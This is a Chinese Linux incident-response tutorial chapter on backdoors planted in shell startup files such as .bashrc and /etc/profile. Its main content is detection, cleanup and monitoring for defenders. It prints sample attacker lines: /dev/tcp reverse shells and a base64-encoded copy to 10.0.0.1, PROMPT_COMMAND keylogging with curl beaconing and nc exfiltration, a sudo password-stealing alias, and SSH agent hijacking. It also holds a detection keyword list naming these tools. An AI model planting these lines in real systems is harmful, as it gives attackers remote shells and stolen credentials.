Linux应急响应 - 18 Bashrc与Profile后门

18 - Bashrc 与 Profile 后门

Shell 启动脚本是 Linux 持久化后门的经典藏身之处

攻击者通过修改 .bashrc.bash_profile/etc/profile 等文件实现登录即触发的持久化

前置知识:23-Alias后门19-LD_PRELOAD劫持

一、Shell 启动脚本加载顺序

1.1 加载流程图

Login Shell(ssh 登录、su -bash --login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌─────────────────────────────────────────────────────────────┐
│ Login Shell 启动 │
└──────────────────────┬──────────────────────────────────────┘


┌─────────────────┐
/etc/profile │ ← 系统级,所有用户生效
└────────┬────────┘


┌────────────────────────┐
/etc/profile.d/*.sh │ ← 系统级模块化配置
└────────────┬───────────┘


┌────────────────────────┐
│ ~/.bash_profile │ ← 用户级(优先级最高)
│ 或 ~/.bash_login │ ← 若无 .bash_profile
│ 或 ~/.profile │ ← 若无前两者
└────────────┬───────────┘

▼ (通常 .bash_profile 会 source ~/.bashrc
┌────────────────────────┐
│ ~/.bashrc │ ← 用户级交互配置
└────────────────────────┘

Non-Login Shell(打开新终端窗口、执行 bash、脚本中的 #!/bin/bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌─────────────────────────────────────────────────────────────┐
│ Non-Login Shell 启动 │
└──────────────────────┬──────────────────────────────────────┘


┌────────────────────────┐
│ /etc/bash.bashrc │ ← 系统级(Debian/Ubuntu)
│ (CentOS 无此文件) │
└────────────┬───────────┘


┌────────────────────────┐
│ ~/.bashrc │
└────────────────────────┘

1.2 关键差异与应急含义

Login vs Non-Login Shell

特性 Login Shell Non-Login Shell
触发条件 SSH、su -、控制台登录 bash、新终端、脚本
加载 /etc/profile
加载 ~/.bash_profile
加载 ~/.bashrc 间接(通过 .bash_profile)

应急含义

后门放在 ~/.bashrc → 几乎所有交互都会触发(覆盖面最广)

后门放在 /etc/profile → 所有用户 SSH 登录触发(影响面最大)

后门放在 /etc/profile.d/ → 最隐蔽(管理员习惯不逐个检查)

后门放在 ~/.bash_profile → 仅 Login Shell 触发

1.3 其他相关文件

/etc/environment:不是 shell 脚本,而是 KEY=VALUE 格式的环境变量文件

被 PAM 的 pam_env.so 在登录时读取

可被攻击者用于注入 LD_PRELOAD、修改 PATH

~/.bash_logout:退出 Login Shell 时执行

攻击者可在此放置清理痕迹的命令

/etc/bash.bash_logout:系统级退出脚本

~/.inputrc / /etc/inputrc:readline 配置,理论上也可被利用

$ENV$BASH_ENV:特定场景下的启动文件变量

1
2
3
4
# 检查是否被设置了异常的启动脚本
echo $BASH_ENV
echo $ENV
grep -r 'BASH_ENV\|ENV=' /etc/profile /etc/environment ~/.bash* 2>/dev/null

二、后门位置速查表

按文件分类

文件路径 类型 触发条件 危险等级
~/.bashrc 用户级 每次交互式 bash ★★★★★
~/.bash_profile 用户级 Login Shell ★★★★
~/.profile 用户级 Login Shell(无 .bash_profile 时) ★★★★
/etc/profile 系统级 所有用户 Login Shell ★★★★★
/etc/profile.d/*.sh 系统级 所有用户 Login Shell ★★★★★
/etc/bash.bashrc 系统级 所有用户 Non-Login Shell(Debian) ★★★★
/etc/environment 系统级 PAM 登录时 ★★★
~/.bash_logout 用户级 退出 Login Shell ★★
$BASH_ENV 指向的文件 可变 非交互式 bash 脚本 ★★★

按用户分类检查

需要检查系统上所有用户的 home 目录

1
2
3
4
5
6
7
8
9
10
11
12
# 列出所有有 shell 的用户及其 home 目录
awk -F: '$7 ~ /(bash|sh|zsh)$/{print $1,$6}' /etc/passwd

# 批量检查所有用户的启动脚本
while IFS=: read -r user _ _ _ _ home shell; do
if "$shell" =~ (bash|sh|zsh)$ ; then
echo "=== $user ($home) ==="
for f in .bashrc .bash_profile .profile .bash_login .bash_logout; do
[ -f "$home/$f" ] && echo " [EXISTS] $home/$f ($(stat -c '%Y %s' "$home/$f" 2>/dev/null || stat -f '%m %z' "$home/$f" 2>/dev/null))"
done
fi
done < /etc/passwd

三、后门类型与真实案例

3.1 直接追加 Reverse Shell

最简单粗暴的方式,直接在 .bashrc 末尾追加反弹 shell 命令

案例一:bash TCP 反弹

1
2
# 攻击者追加到 ~/.bashrc 末尾
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &

案例二:带条件判断的反弹(避免重复连接)

1
2
3
4
# 更隐蔽:检查是否已有连接
if ! pgrep -f "/dev/tcp/10.0.0.1" > /dev/null 2>&1; then
(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null
fi

案例三:nohup + 后台 + 静默

1
2
# 追加到 /etc/profile.d/locale.sh 中(隐藏在合法文件内)
nohup bash -c 'while true; do bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; sleep 60; done' &>/dev/null &

特征:文件末尾有明显的 /dev/tcpncbash -i 关键字

3.2 PROMPT_COMMAND 后门

PROMPT_COMMAND 是 bash 在每次显示提示符前执行的命令——用户每敲一次回车就触发一次

案例一:键盘记录器

1
2
# 追加到 ~/.bashrc
export PROMPT_COMMAND='history 1 >> /tmp/.cmd_log 2>/dev/null; ${PROMPT_COMMAND}'

效果:用户每条命令都被记录到隐藏文件

案例二:定时回连

1
2
# 追加到 ~/.bashrc
export PROMPT_COMMAND='([ $(date +%M) -eq 0 ] && curl -s http://10.0.0.1/beacon?h=$(hostname) &>/dev/null &); ${PROMPT_COMMAND}'

效果:每小时整点回连 C2

案例三:凭据窃取

1
export PROMPT_COMMAND='if [ -n "$SSH_CONNECTION" ]; then echo "$(date) $(whoami)@$(hostname) $(history 1)" | nc -w1 10.0.0.1 5555 2>/dev/null; fi; ${PROMPT_COMMAND}'

检测

1
2
3
4
5
# 检查当前环境
echo "$PROMPT_COMMAND"

# 在所有启动脚本中搜索
grep -rn 'PROMPT_COMMAND' /etc/profile* /etc/bash* ~/.bash* ~/.profile 2>/dev/null

3.3 Alias 劫持后门

通过 alias 覆盖常用命令,在执行合法操作的同时窃取凭据

案例一:sudo 密码窃取

1
2
# 追加到 ~/.bashrc
alias sudo='_sudo(){ /usr/bin/sudo -S "$@" 2>/dev/null; local rc=$?; read -sp "[sudo] password for $USER: " pass; echo "$pass" | /usr/bin/sudo -S true 2>/dev/null && echo "$(date) sudo:$pass" >> /tmp/.s 2>/dev/null; echo "$pass" | /usr/bin/sudo -S "$@"; }; _sudo'

案例二:ssh 凭据窃取

1
2
# 追加到 ~/.bashrc
alias ssh='_ssh(){ echo "$(date) ssh $@" >> /tmp/.ssh_log; /usr/bin/ssh "$@"; }; _ssh'

案例三:ls 劫持(隐藏文件)

1
2
# 攻击者不想让 ls 显示自己的恶意文件
alias ls='ls --color=auto | grep -v "\.backdoor\|\.malware"'

检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 列出当前所有 alias
alias

# 检查是否被劫持
type sudo
type ssh
type ls
type cat
type curl
type wget

# 直接用完整路径执行(绕过 alias)
/usr/bin/ls -la
/usr/bin/type sudo

# 在启动脚本中搜索可疑 alias
grep -rn '^alias\|^:space:*alias' /etc/profile* /etc/bash* ~/.bash* ~/.profile 2>/dev/null

详见:23-Alias后门

3.4 环境变量操纵

LD_PRELOAD 劫持

1
2
# 追加到 /etc/profile 或 /etc/environment
export LD_PRELOAD=/tmp/.libsystem.so

效果:所有动态链接程序启动时都会加载恶意共享库

详见:19-LD_PRELOAD劫持

PATH 劫持

1
2
# 在 PATH 最前面插入恶意目录
export PATH=/tmp/.bin:$PATH

攻击者在 /tmp/.bin/ 中放置同名恶意二进制文件(如 lspsnetstat

用户执行 ls 时实际运行的是恶意版本

LD_LIBRARY_PATH 劫持

1
export LD_LIBRARY_PATH=/tmp/.libs:$LD_LIBRARY_PATH

检测

1
2
3
4
5
6
7
8
9
10
11
12
# 检查关键环境变量
echo "PATH=$PATH"
echo "LD_PRELOAD=$LD_PRELOAD"
echo "LD_LIBRARY_PATH=$LD_LIBRARY_PATH"

# 在所有配置文件中搜索
grep -rn 'LD_PRELOAD\|LD_LIBRARY_PATH' /etc/profile* /etc/bash* /etc/environment /etc/ld.so.preload ~/.bash* ~/.profile 2>/dev/null

# 检查 PATH 中是否有可疑目录
echo $PATH | tr ':' '\n' | while read d; do
[ -d "$d" ] && echo "$d $(stat -c '%U:%G %a' "$d" 2>/dev/null || stat -f '%Su:%Sg %Lp' "$d" 2>/dev/null)"
done

3.5 SSH_AUTH_SOCK 劫持

SSH_AUTH_SOCK 指向 ssh-agent 的 Unix socket,劫持后可使用他人的 SSH 密钥

攻击原理

1
2
3
4
5
6
7
# 攻击者在 root 权限下搜索其他用户的 ssh-agent socket
find /tmp -name "agent.*" -ls 2>/dev/null

# 劫持目标用户的 agent
export SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234
ssh-add -l # 列出已加载的密钥
ssh target-server # 使用目标用户的密钥登录

持久化后门

1
2
3
4
5
6
# 追加到 ~/.bashrc
# 定期扫描并劫持其他用户的 ssh-agent
for sock in /tmp/ssh-*/agent.*; do
SSH_AUTH_SOCK=$sock ssh-add -l 2>/dev/null && \
export SSH_AUTH_SOCK=$sock && break
done 2>/dev/null

检测

1
2
3
4
5
6
# 检查启动脚本中是否有 SSH_AUTH_SOCK 操纵
grep -rn 'SSH_AUTH_SOCK' /etc/profile* /etc/bash* ~/.bash* ~/.profile 2>/dev/null

# 检查当前值是否指向正常路径
echo $SSH_AUTH_SOCK
ls -la $SSH_AUTH_SOCK

3.6 Base64 编码隐藏后门

攻击者使用 base64 编码隐藏 payload,逃避简单的 grep 检查

案例

1
2
3
# 追加到 ~/.bashrc(看起来像一段配置初始化)
# Initialize terminal settings
eval "$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d)" &>/dev/null &

解码后实际内容

1
2
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d
# 输出:bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

检测

1
2
3
4
5
# 搜索 base64 decode 调用
grep -rn 'base64\s*-d\|base64\s*--decode' /etc/profile* /etc/bash* ~/.bash* ~/.profile 2>/dev/null

# 搜索 eval 调用
grep -rn 'eval\s' /etc/profile* /etc/bash* ~/.bash* ~/.profile 2>/dev/null

四、系统化检测方法

4.1 关键字搜索(一键排查脚本)

在所有 profile/bashrc 文件中搜索高危关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/bin/bash
# bashrc_backdoor_scan.sh - Bashrc/Profile 后门排查

SCAN_FILES=(
/etc/profile
/etc/profile.d/*.sh
/etc/bash.bashrc
/etc/bashrc
/etc/environment
)

# 添加所有用户的启动脚本
while IFS=: read -r _ _ _ _ _ home shell; do
if "$shell" =~ (bash|sh|zsh)$ && [ -d "$home" ]; then
SCAN_FILES+=("$home/.bashrc" "$home/.bash_profile" "$home/.profile" "$home/.bash_login" "$home/.bash_logout")
fi
done < /etc/passwd

# 高危关键字列表
PATTERNS=(
'/dev/tcp/'
'/dev/udp/'
'base64\s*-d'
'base64\s*--decode'
'\bcurl\b.*http'
'\bwget\b.*http'
'\bnc\b\s*-'
'\bncat\b'
'\bnetcat\b'
'\bpython.*import\s*socket'
'\bperl.*socket'
'\bruby.*socket'
'eval\s'
'LD_PRELOAD'
'LD_LIBRARY_PATH'
'PROMPT_COMMAND'
'BASH_ENV'
'\balias\s+(sudo|ssh|su|ls|ps|netstat)\b'
'SSH_AUTH_SOCK'
'\bsetsid\b'
'\bnohup\b'
'\bdisown\b'
)

echo "[*] Scanning shell startup files for backdoor indicators..."
echo "============================================================"

for file in "${SCAN_FILES[@]}"; do
[ -f "$file" ] || continue
for pattern in "${PATTERNS[@]}"; do
result=$(grep -n -E "$pattern" "$file" 2>/dev/null)
if [ -n "$result" ]; then
echo "[!] HIT in $file:"
echo " Pattern: $pattern"
echo " $result"
echo ""
fi
done
done

echo "[*] Scan complete."

4.2 文件完整性对比

与包管理器对比(系统级文件)

1
2
3
4
5
6
7
# Debian/Ubuntu:检查 /etc/profile 是否被修改
dpkg -V base-files 2>/dev/null | grep profile

# CentOS/RHEL
rpm -Vf /etc/profile
rpm -Vf /etc/bashrc
# 输出中 S = size, 5 = md5, T = mtime 变化

与已知基线 hash 对比

1
2
3
4
5
# 生成基线(在干净系统上执行)
md5sum /etc/profile /etc/bash.bashrc /etc/profile.d/*.sh > /root/baseline_profile_hashes.txt

# 应急时对比
md5sum -c /root/baseline_profile_hashes.txt

检查文件修改时间

1
2
3
4
5
6
7
8
9
10
11
# 系统级启动脚本通常不会频繁修改
stat /etc/profile /etc/bash.bashrc /etc/profile.d/*.sh 2>/dev/null

# 找出最近 30 天内被修改的启动脚本
find /etc/profile.d/ -name "*.sh" -mtime -30 -ls

# 对比 profile.d 中的文件来源
for f in /etc/profile.d/*.sh; do
pkg=$(dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null)
echo "$f -> ${pkg:-UNKNOWN (可疑!)}"
done

4.3 运行时检测

检查当前 shell 环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 列出所有别名
alias 2>/dev/null

# 列出所有函数
declare -F

# 检查 PROMPT_COMMAND
echo "PROMPT_COMMAND=$PROMPT_COMMAND"

# 检查关键环境变量
env | grep -iE '(LD_PRELOAD|LD_LIBRARY|BASH_ENV|PROMPT_COMMAND|SSH_AUTH_SOCK)'

# 检查 type 输出(判断命令是否被劫持)
for cmd in sudo ssh su ls ps netstat ss curl wget cat less; do
result=$(type "$cmd" 2>/dev/null)
if echo "$result" | grep -qv "is /"; then
echo "[!] SUSPICIOUS: $result"
fi
done

使用 env -i 启动干净 shell 对比

1
2
3
4
5
6
7
# 以空环境启动 bash(不加载任何启动脚本)
env -i /bin/bash --norc --noprofile

# 在干净环境中检查
alias
echo "$PROMPT_COMMAND"
echo "$PATH"

4.4 diff 对比分析

与默认 bashrc 对比,找出被添加的内容

1
2
3
4
5
6
7
8
9
10
# Ubuntu/Debian 默认 .bashrc 位于 /etc/skel/.bashrc
diff /etc/skel/.bashrc ~/.bashrc

# 对所有用户批量对比
while IFS=: read -r user _ _ _ _ home shell; do
if "$shell" =~ bash$ && [ -f "$home/.bashrc" ]; then
changes=$(diff /etc/skel/.bashrc "$home/.bashrc" 2>/dev/null | grep '^>' | wc -l)
echo "$user: $changes lines added to .bashrc"
fi
done < /etc/passwd

五、清除与修复

5.1 清除流程

Step 1:备份证据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 备份所有可能被篡改的文件(用于后续取证)
mkdir -p /tmp/ir_evidence/shell_profiles

cp -a /etc/profile /tmp/ir_evidence/shell_profiles/
cp -a /etc/profile.d/ /tmp/ir_evidence/shell_profiles/
cp -a /etc/bash.bashrc /tmp/ir_evidence/shell_profiles/ 2>/dev/null
cp -a /etc/environment /tmp/ir_evidence/shell_profiles/

# 备份所有用户的启动脚本
while IFS=: read -r user _ _ _ _ home _; do
if [ -d "$home" ]; then
mkdir -p "/tmp/ir_evidence/shell_profiles/$user"
cp -a "$home"/.bash* "$home"/.profile "/tmp/ir_evidence/shell_profiles/$user/" 2>/dev/null
fi
done < /etc/passwd

Step 2:删除恶意内容

1
2
3
4
5
6
7
8
# 编辑文件,删除后门行
# 推荐使用 vim 直接编辑,注意不要误删合法配置
vim ~/.bashrc
vim /etc/profile

# 或使用 sed 删除包含特定关键字的行(谨慎使用)
sed -i.bak '/\/dev\/tcp/d' ~/.bashrc
sed -i.bak '/PROMPT_COMMAND.*nc\|curl\|wget/d' ~/.bashrc

Step 3:恢复默认文件(如整个文件被篡改)

1
2
3
4
5
6
7
8
9
10
# 从 skel 恢复用户级文件
cp /etc/skel/.bashrc ~/.bashrc
cp /etc/skel/.profile ~/.profile

# 从包管理器恢复系统级文件
# Debian/Ubuntu
apt install --reinstall base-files bash

# CentOS/RHEL
yum reinstall bash setup

Step 4:验证清除结果

1
2
3
4
5
6
7
8
# 重新检查
grep -rn '/dev/tcp\|base64.*-d\|eval ' ~/.bashrc ~/.bash_profile ~/.profile /etc/profile /etc/profile.d/ /etc/bash.bashrc 2>/dev/null

# 重新登录后检查
# 新开一个 SSH session
alias
echo "$PROMPT_COMMAND"
env | grep -i ld_preload

5.2 预防措施

文件完整性监控

1
2
3
4
5
6
# 使用 AIDE 监控启动脚本
# /etc/aide/aide.conf 中添加
/etc/profile p+i+n+u+g+s+md5+sha256
/etc/profile.d p+i+n+u+g+s+md5+sha256
/etc/bash.bashrc p+i+n+u+g+s+md5+sha256
/etc/environment p+i+n+u+g+s+md5+sha256

限制 profile.d 写入权限

1
2
3
4
# 确保 /etc/profile.d/ 仅 root 可写
chown root:root /etc/profile.d/
chmod 755 /etc/profile.d/
chmod 644 /etc/profile.d/*.sh

Auditd 规则:监控启动脚本修改

1
2
3
4
5
6
7
8
9
10
11
# /etc/audit/rules.d/bashrc_monitor.rules
-w /etc/profile -p wa -k profile_modification
-w /etc/profile.d/ -p wa -k profile_modification
-w /etc/bash.bashrc -p wa -k profile_modification
-w /etc/environment -p wa -k profile_modification

# 应用规则
auditctl -R /etc/audit/rules.d/bashrc_monitor.rules

# 查看告警
ausearch -k profile_modification

immutable 属性(极端情况)

1
2
3
4
5
6
# 对关键文件设置不可修改属性(即使 root 也需先 chattr -i)
chattr +i /etc/profile
chattr +i /etc/bash.bashrc

# 查看属性
lsattr /etc/profile /etc/bash.bashrc

六、实战演练

Lab 环境:labs/13-persistence-bashrc/

场景描述

运维人员发现某台服务器在 SSH 登录后出现短暂的网络连接

初步判断有后门在用户登录时触发

练习步骤

  1. 检查当前用户的 shell 启动脚本
1
2
3
cat ~/.bashrc
cat ~/.bash_profile
cat ~/.profile
  1. 检查系统级启动脚本
1
2
3
4
5
cat /etc/profile
ls -la /etc/profile.d/
cat /etc/profile.d/*.sh
cat /etc/bash.bashrc
cat /etc/environment
  1. 搜索高危关键字
1
2
grep -rn '/dev/tcp\|base64\|eval\|PROMPT_COMMAND\|LD_PRELOAD\|alias sudo' \
/etc/profile* /etc/bash* /etc/environment ~/.bash* ~/.profile 2>/dev/null
  1. 检查运行时环境
1
2
3
4
alias
declare -F
env | grep -iE '(LD_|PROMPT|BASH_ENV)'
type sudo ssh ls
  1. 定位后门并记录位置

  2. 清除后门并验证

  3. 部署监控规则防止复发

常见面试/CTF 题目

Q:如何在不触发 bashrc 后门的情况下安全登录?

1
2
3
4
5
6
7
8
# 方法一:SSH 指定不使用 bash
ssh user@host -t "/bin/sh"

# 方法二:SSH 执行单条命令(不加载 .bashrc)
ssh user@host "cat ~/.bashrc"

# 方法三:bash 跳过启动脚本
ssh user@host -t "bash --norc --noprofile"

Q:如何判断 alias 是否被劫持?

1
2
3
4
5
6
# 使用 builtin type 或 which
type -a sudo
command -V sudo

# 使用完整路径
/usr/bin/sudo whoami

Q:PROMPT_COMMAND 和 trap DEBUG 的区别?

PROMPT_COMMAND:每次显示提示符前执行

trap '...' DEBUG:每条命令执行前触发,更底层

1
2
3
# 检查 DEBUG trap
trap -p DEBUG
grep -rn "trap.*DEBUG" /etc/profile* ~/.bash* 2>/dev/null

上一章 目录 下一章
17-Systemd-Service后门 Linux应急响应 19-LD_PRELOAD劫持